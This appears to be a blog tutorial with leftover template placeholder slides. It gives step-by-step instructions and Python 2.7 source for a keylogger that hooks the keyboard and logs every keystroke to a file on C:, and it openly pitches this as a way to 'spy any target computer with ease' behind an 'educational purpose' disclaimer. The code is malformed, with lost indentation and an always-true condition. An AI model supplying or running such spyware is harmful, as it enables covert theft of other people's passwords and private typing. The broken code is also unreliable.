These tutorials are for Educational Purpose

Liked us?

  • Facebook Rocks

    Go to Blogger edit html and replace these slide 1 description with your own words. ...

  • Facebook vs Twitter

    Go to Blogger edit html and replace these slide 2 description with your own words. ...

  • Facebook Marketing

    Go to Blogger edit html and replace these slide 3 description with your own words. ...

  • Facebook and Google

    Go to Blogger edit html and replace these slide 4 description with your own words. ...

  • Facebook Tips

    Go to Blogger edit html and replace these slide 5 description with your own words. ...

Creating keylogger to record key strokes in PC using Python 2.7

In this tutorial we will show you how to create an own keylogger to record key strokes in PC directly using Python programming. Using this method you can spy any target computer with ease.

Tools required:

*Phython 2.7 (Download link)

STEP 1: From the start menu select,” Python 2.7 > IDLE(Python GUI)”


STEP 2:  Click “File > New window”


STEP 3: Now type the below code in Phython window  as shown in fig.,

import win32api 
import sys
import pythoncom, pyHook
 
buffer = ''

def OnKeyboardEvent(event):
if event.Ascii == 5:
 
sys.exit()
 

if event.Ascii != 0 or 8:
 
f = open ('c:\\output.txt', 'a')
 
keylogs = chr(event.Ascii)
 
if event.Ascii == 13:
 
keylogs = keylogs + '\n'
 
f.write(keylogs)
 
f.close()
 

while True:
hm = pyHook.HookManager()
 
hm.KeyDown = OnKeyboardEvent
 
hm.HookKeyboard()
 
pythoncom.PumpMessages()



STEP 4 :Save the file in C:\ as Keylogger.py and click  RUN( CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard. )

Do you Like this story..?

Get Free Email Updates Daily!

Follow us!

Please Share it! :)

Categories: , , ,